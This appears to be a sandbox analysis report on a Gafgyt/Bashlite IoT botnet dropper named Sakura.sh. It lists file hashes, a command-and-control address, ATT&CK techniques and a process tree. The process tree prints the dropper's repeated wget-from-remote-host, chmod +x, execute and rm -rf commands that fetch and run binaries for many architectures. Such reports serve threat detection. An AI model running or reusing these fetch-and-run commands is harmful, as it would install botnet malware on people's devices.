gafgyt | 13ccc7aef514e8fc26eb656e3ff5cffaddb1e544f048af99ddef613c97ddbf18

Analysis

max time kernel
146s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250619-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/12/2025, 06:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sakura.sh
Size 2KB
Sample251204-hml4ls1ldy
SHA256 13ccc7aef514e8fc26eb656e3ff5cffaddb1e544f048af99ddef613c97ddbf18
MD5 6bbf3b5eabf62b9c6eed0ebfa93a3e3d
SHA1 9387b7ef33c278cd069c8dd8a585be16e72d850d
SHA512 8c714789876eb29980a4a634cb83552bc331644f06f7f9f2e215990db4821ed9c073eaa4aa44b7bf734e6f7c989bcc508a176f23752acddd0e89b4e877c120a0
MD5 SHA1 SHA512

Score

10^/10

botnet defense_evasion discovery gafgyt

Malware Config

Extracted

Family

gafgyt

151.244.72.224:606

Signatures

Detected Gafgyt variant 11 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_gafgyt
behavioral1/files/fstream-2.dat	family_gafgyt
behavioral1/files/fstream-3.dat	family_gafgyt
behavioral1/files/fstream-4.dat	family_gafgyt
behavioral1/files/fstream-5.dat	family_gafgyt
behavioral1/files/fstream-6.dat	family_gafgyt
behavioral1/files/fstream-7.dat	family_gafgyt
behavioral1/files/fstream-8.dat	family_gafgyt
behavioral1/files/fstream-9.dat	family_gafgyt
behavioral1/files/fstream-10.dat	family_gafgyt
behavioral1/files/fstream-13.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1500	chmod
1514	chmod
1519	chmod
1526	chmod
1531	chmod
1542	chmod
1547	chmod
1557	chmod
1509	chmod
1537	chmod
1552	chmod
1562	chmod
1567	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/m-i.p-s.Sakura	1501	Sakura.sh
/tmp/m-p.s-l.Sakura	1510	Sakura.sh
/tmp/s-h.4-.Sakura	1515	Sakura.sh
/tmp/x-8.6-.Sakura	1520	Sakura.sh
/tmp/a-r.m-6.Sakura	1527	Sakura.sh
/tmp/x-3.2-.Sakura	1532	Sakura.sh
/tmp/a-r.m-7.Sakura	1538	Sakura.sh
/tmp/p-p.c-.Sakura	1543	Sakura.sh
/tmp/i-5.8-6.Sakura	1548	Sakura.sh
/tmp/m-6.8-k.Sakura	1553	Sakura.sh
/tmp/p-p.c-.Sakura	1558	Sakura.sh
/tmp/a-r.m-4.Sakura	1563	Sakura.sh
/tmp/a-r.m-5.Sakura	1568	Sakura.sh

Reads system routing table 1 TTPs 2 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	x-8.6-.Sakura
File opened for reading	/proc/net/route	x-3.2-.Sakura

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	x-8.6-.Sakura
File opened for reading	/proc/net/route	x-3.2-.Sakura

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x-3.2-.Sakura	wget
File opened for modification	/tmp/a-r.m-7.Sakura	wget
File opened for modification	/tmp/p-p.c-.Sakura	wget
File opened for modification	/tmp/m-6.8-k.Sakura	wget
File opened for modification	/tmp/m-p.s-l.Sakura	wget
File opened for modification	/tmp/x-8.6-.Sakura	wget
File opened for modification	/tmp/i-5.8-6.Sakura	wget
File opened for modification	/tmp/p-p.c-.Sakura	wget
File opened for modification	/tmp/a-r.m-4.Sakura	wget
File opened for modification	/tmp/a-r.m-5.Sakura	wget
File opened for modification	/tmp/m-i.p-s.Sakura	wget
File opened for modification	/tmp/s-h.4-.Sakura	wget
File opened for modification	/tmp/a-r.m-6.Sakura	wget

/tmp/Sakura.sh
/tmp/Sakura.sh
1⤵
- Executes dropped EXE
PID:1498
- /usr/bin/wget
  wget http://151.244.72.224/m-i.p-s.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod +x m-i.p-s.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/m-i.p-s.Sakura
  ./m-i.p-s.Sakura
  2⤵
  PID:1501
- /bin/rm
  rm -rf m-i.p-s.Sakura
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://151.244.72.224/m-p.s-l.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/chmod
  chmod +x m-p.s-l.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/m-p.s-l.Sakura
  ./m-p.s-l.Sakura
  2⤵
  PID:1510
- /bin/rm
  rm -rf m-p.s-l.Sakura
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://151.244.72.224/s-h.4-.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod +x s-h.4-.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/s-h.4-.Sakura
  ./s-h.4-.Sakura
  2⤵
  PID:1515
- /bin/rm
  rm -rf s-h.4-.Sakura
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://151.244.72.224/x-8.6-.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x x-8.6-.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/x-8.6-.Sakura
  ./x-8.6-.Sakura
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:1520
- /bin/rm
  rm -rf x-8.6-.Sakura
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://151.244.72.224/a-r.m-6.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod +x a-r.m-6.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/a-r.m-6.Sakura
  ./a-r.m-6.Sakura
  2⤵
  PID:1527
- /bin/rm
  rm -rf a-r.m-6.Sakura
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://151.244.72.224/x-3.2-.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod +x x-3.2-.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/x-3.2-.Sakura
  ./x-3.2-.Sakura
  2⤵
  - Reads system routing table
  - Reads system network configuration
  PID:1532
- /bin/rm
  rm -rf x-3.2-.Sakura
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://151.244.72.224/a-r.m-7.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x a-r.m-7.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/a-r.m-7.Sakura
  ./a-r.m-7.Sakura
  2⤵
  PID:1538
- /bin/rm
  rm -rf a-r.m-7.Sakura
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://151.244.72.224/p-p.c-.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x p-p.c-.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/p-p.c-.Sakura
  ./p-p.c-.Sakura
  2⤵
  PID:1543
- /bin/rm
  rm -rf p-p.c-.Sakura
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://151.244.72.224/i-5.8-6.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/chmod
  chmod +x i-5.8-6.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/i-5.8-6.Sakura
  ./i-5.8-6.Sakura
  2⤵
  PID:1548
- /bin/rm
  rm -rf i-5.8-6.Sakura
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://151.244.72.224/m-6.8-k.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod +x m-6.8-k.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/m-6.8-k.Sakura
  ./m-6.8-k.Sakura
  2⤵
  PID:1553
- /bin/rm
  rm -rf m-6.8-k.Sakura
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://151.244.72.224/p-p.c-.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x p-p.c-.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/p-p.c-.Sakura
  ./p-p.c-.Sakura
  2⤵
  PID:1558
- /bin/rm
  rm -rf p-p.c-.Sakura
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://151.244.72.224/a-r.m-4.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x a-r.m-4.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/a-r.m-4.Sakura
  ./a-r.m-4.Sakura
  2⤵
  PID:1563
- /bin/rm
  rm -rf a-r.m-4.Sakura
  2⤵
  PID:1565
- /usr/bin/wget
  wget http://151.244.72.224/a-r.m-5.Sakura
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x a-r.m-5.Sakura
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/a-r.m-5.Sakura
  ./a-r.m-5.Sakura
  2⤵
  PID:1568
- /bin/rm
  rm -rf a-r.m-5.Sakura
  2⤵
  PID:1570

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a-r.m-5.Sakura

Path /tmp/a-r.m-5.Sakura
Size 98KB
SHA256 a00db9f639ca5beb42be7f2e4b8ba48996d823c187492b8661408c0796c798cf
MD5 1add4f2a9ba22e44b845a2e4e6d27da0
SHA1 6957b350bf9595e9bb3b1b7b9edf4692f941f662
SHA512 86bc27845e011f54f98042fd48c370b8fa3c1c0ef780f9341803d4b64d57a54df1fd8b7a90a7fe8c39a677696508be851d160bbd0659a107efff8163109612c3
SSDEEP 3072:VSx+i6mqaObhNqnPNKV+qKmZuqQ4DPwXXtse:y6mRObnqnP7qKmZuqQ4DPwXXtse
MD5 SHA1 SHA512 SSDEEP

Submit Download

a-r.m-6.Sakura

Path /tmp/a-r.m-6.Sakura
Size 118KB
SHA256 2a32bd0d89f79561c3dfbc4d42cbb8e00a6aa5691b9edb604dd607a7389510fa
MD5 edefa822dd444a7c30b4cb1d0440df34
SHA1 6e3b56f193623aec0e220f9fc9a707faf90a3ddb
SHA512 53feafdb55d947216f8a61f6984641ae63dc095366b16dac64fd6a183d12dfe625203f10f4897bb381c77e14f16a233760dbf34d131e23a250d957e1c5417896
SSDEEP 3072:ekYPUfsgnsb0J2ag/VfDkDN0dn+mTQOY5NX3cn:9YPUfsgEo2a0DkDy+mTQOY5R3cn
MD5 SHA1 SHA512 SSDEEP

Submit Download

a-r.m-7.Sakura

Path /tmp/a-r.m-7.Sakura
Size 91KB
SHA256 4b192e426d8db3a1202638e0dc9055be97dab7a2d02fa2895b44e69fdc1d388d
MD5 bc80254811c98b3ab7f9e1d48388edd0
SHA1 c5f9f8d62837934f301d5e8b891a2711a58bbe14
SHA512 dba77097beadaa5e2a7106ab37b12b8c226270153d2316383548990de924af142821289f737375ed7b7aac9fd8845c4b022623bf9ac4455aa5dbffe178aa6afb
SSDEEP 1536:QQK1n7bzX9jajzvxRq57wBRcGCMCZDxeBk+8cl4umXxVqDrstKfz9e:Q97vk51RcG7AGl4umXxVqDrIKfz9e
MD5 SHA1 SHA512 SSDEEP

Submit Download

i-5.8-6.Sakura

Path /tmp/i-5.8-6.Sakura
Size 96KB
SHA256 e39ae8606f7fde8f7c4f6d05820c01c0d88761828c94de707c5fd8dac60f5434
MD5 dba1cefbd174bd0351de94990809888d
SHA1 874b7c9e9515ef78a563d18773f2ffec4a58bcec
SHA512 b1caf4e6146b4d6ff81596cc08913e272a8c6ef2781bc1e785ac9321801e8dacbec58e712384d48a40c25e0f6cf26ec712f4818b4a905d695c30907587734f37
SSDEEP 3072:Vgdr2vIBAxMyAOLRcftxhOemuxVqDr78fz1e:Vgdr2vIRyAYcfhOemuxVqDr78fz1e
MD5 SHA1 SHA512 SSDEEP

Submit Download

m-6.8-k.Sakura

Path /tmp/m-6.8-k.Sakura
Size 156KB
SHA256 367c3e32682736981ce62433391c3c526b9ba174bf26cc3958d981f97dcc50ba
MD5 9ea2215f4f67e802b29c3ffee8124c49
SHA1 a50294fcc947d57500d1f30adcb3adc0d1861379
SHA512 abc7e29b5f70f4f34a4caf1e45219f08ee55d7d3cf8baa499c5b7c6fa8b8dd23365b13beeab1310b29eaeabb643ca501b8ab5db0533abb8c6727d1438267c5f5
SSDEEP 3072:T1g2/eINNlzx2kkQCMOaQcvBQYnyLRM/9q3tmFwfBxKQodn:hg2hNNlzIkk/MOa/6YnydM/9MmFwfBxE
MD5 SHA1 SHA512 SSDEEP

Submit Download

m-i.p-s.Sakura

Path /tmp/m-i.p-s.Sakura
Size 123KB
SHA256 485600a97866207f946d6552fc71bdd876d7466ebe3f7c832c52399f538bcd2a
MD5 ad5002c06a377cd265b081afd6946700
SHA1 7599661ee727fef480e061edce3771b1c62573da
SHA512 fa861a201ecf2e07436e6c2f6255ed9219c349dd44a7533f768852e585d15eddbde29c75618fb29fc8f60722ea30ea4340fd4ddcec8f1aa5597a997a53d78f56
SSDEEP 1536:M7je1TMGq+f+AQ2rK7zeXeReXe8V2rK7Ie+u60GAzQj1l72HBeREdWfRZrmW+IFj:Ted0W0MZQHBd6RZrmW+IFB1Dt1hR/
MD5 SHA1 SHA512 SSDEEP

Submit Download

m-p.s-l.Sakura

Path /tmp/m-p.s-l.Sakura
Size 123KB
SHA256 d45961a0b0e771b04c578cd9068f56e694ec41062d85c88651e80b5823572ca7
MD5 66a75c13d9dcf23a5a7942263db3c84b
SHA1 8675e6745271993551a4347b3861e9f341b32df0
SHA512 5fbdc5b142a3f19c7d8e5f9f4dec2aea6dc2a7d3f47ed4c5914467db856cad157e66e877a9dea6e3e3c954762940836a492e17a2f938f2b9a9fdec72be8097a3
SSDEEP 1536:/UHeTxCAms/Y8Zm3lKYA43gMJwSkJ8Epe+DzUh8rmW+IFB1Df11hR/:/UyLqAmgMJM8EI+Dw8rmW+IFB1Dt1hR/
MD5 SHA1 SHA512 SSDEEP

Submit Download

p-p.c-.Sakura

Path /tmp/p-p.c-.Sakura
Size 105KB
SHA256 0658c9f92e23f5b8914d511b3a29ce28b170d194343b8c3d6e22baf21aac6c90
MD5 4c27196c85cec02a11d9a94dabe0269e
SHA1 c062dd8d5288a6a11f2fadca581bd73f9538d217
SHA512 7c529cfa87d5242a814ea2bc1787553e06c7d8487a1751003c587f37d50cde22e7cbb119852f9d135bd2f035c1467168d1abcb1a0cbf590039a247a548089a05
SSDEEP 3072:MSY+46m1qOzsszFPPKNy+AmkZrQAhPDCXFke:06mgOzJzFPzmkZrQAhPDCXFke
MD5 SHA1 SHA512 SSDEEP

Submit Download

s-h.4-.Sakura

Path /tmp/s-h.4-.Sakura
Size 86KB
SHA256 a74908ea9a46e8676d4763c1c24d514fe75a24b8b815a78af2fb0766e279821a
MD5 8b4522e53423b1d8cb0da8e150b6e3b0
SHA1 153ad660a06e20d1ce1badb8ffe9d286dad57276
SHA512 5158e934b6ee787c3d16aef5e9a7e8c38507e11ff88c142ee97429c3985b957b0977fafa3f1b567cab156ea2cb583d81214c4db580bf083bc62098eca50537e1
SSDEEP 1536:ClN9YyOXmMSr4k9dgGwKGg0CfjGJC0dojMyTRLmkxVqOEeofzee:g7OXmMSr4krG3J3BQLmkxVqODofzee
MD5 SHA1 SHA512 SSDEEP

Submit Download

x-3.2-.Sakura

Path /tmp/x-3.2-.Sakura
Size 83KB
SHA256 a9b9301e75806ebf5e2e007b1ac6196d993a3cf0630394597f02f9e2be2eb461
MD5 f2d071eb710b69d61820e3fc45c068c6
SHA1 5d0a58cceae995e1ad17632eed2e8786672914ac
SHA512 ea160c9a8e4c6d059e66ebc3f48de73cc70e8e567170a6a1b610e7819999241d365ea67f1de38e1df154e964d330745e893adabd1e909894b04627fb466a1387
SSDEEP 1536:W35b9Vc4N3J6lreu5r4hWj8LdWDloRmF+wVOz+sXcfW7k:Ab9Vc4JJ6liuq0YZ2oRmEwVOz+ucfW7k
MD5 SHA1 SHA512 SSDEEP

Submit Download

x-8.6-.Sakura

Path /tmp/x-8.6-.Sakura
Size 92KB
SHA256 4543f33125d0623caf587df3b1d70eeea9ba8b14fcc81cd75ebf3d803c560d86
MD5 1df8e1f69ed253f3b6e36164defb382a
SHA1 d264d1e09ffec518f436d7a972ed0b4b8d75b21a
SHA512 e7946aa91d046b6a91c76304dca13582ba79e69ddf0e0eb0325e2b43625219c8479030735e25b2293c73df96c5d8af8967d0b9bca545ad9c8fa95f5b2549802c
SSDEEP 1536:W7uJtxNeVE8zV7aDlvhE1hmkJ0S36W6bWjK3ayPXfH0mA+KWOXFseaZYxe:4SsVEeVMlpmXJ0O6WpjKKifUm/KWOXFE
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads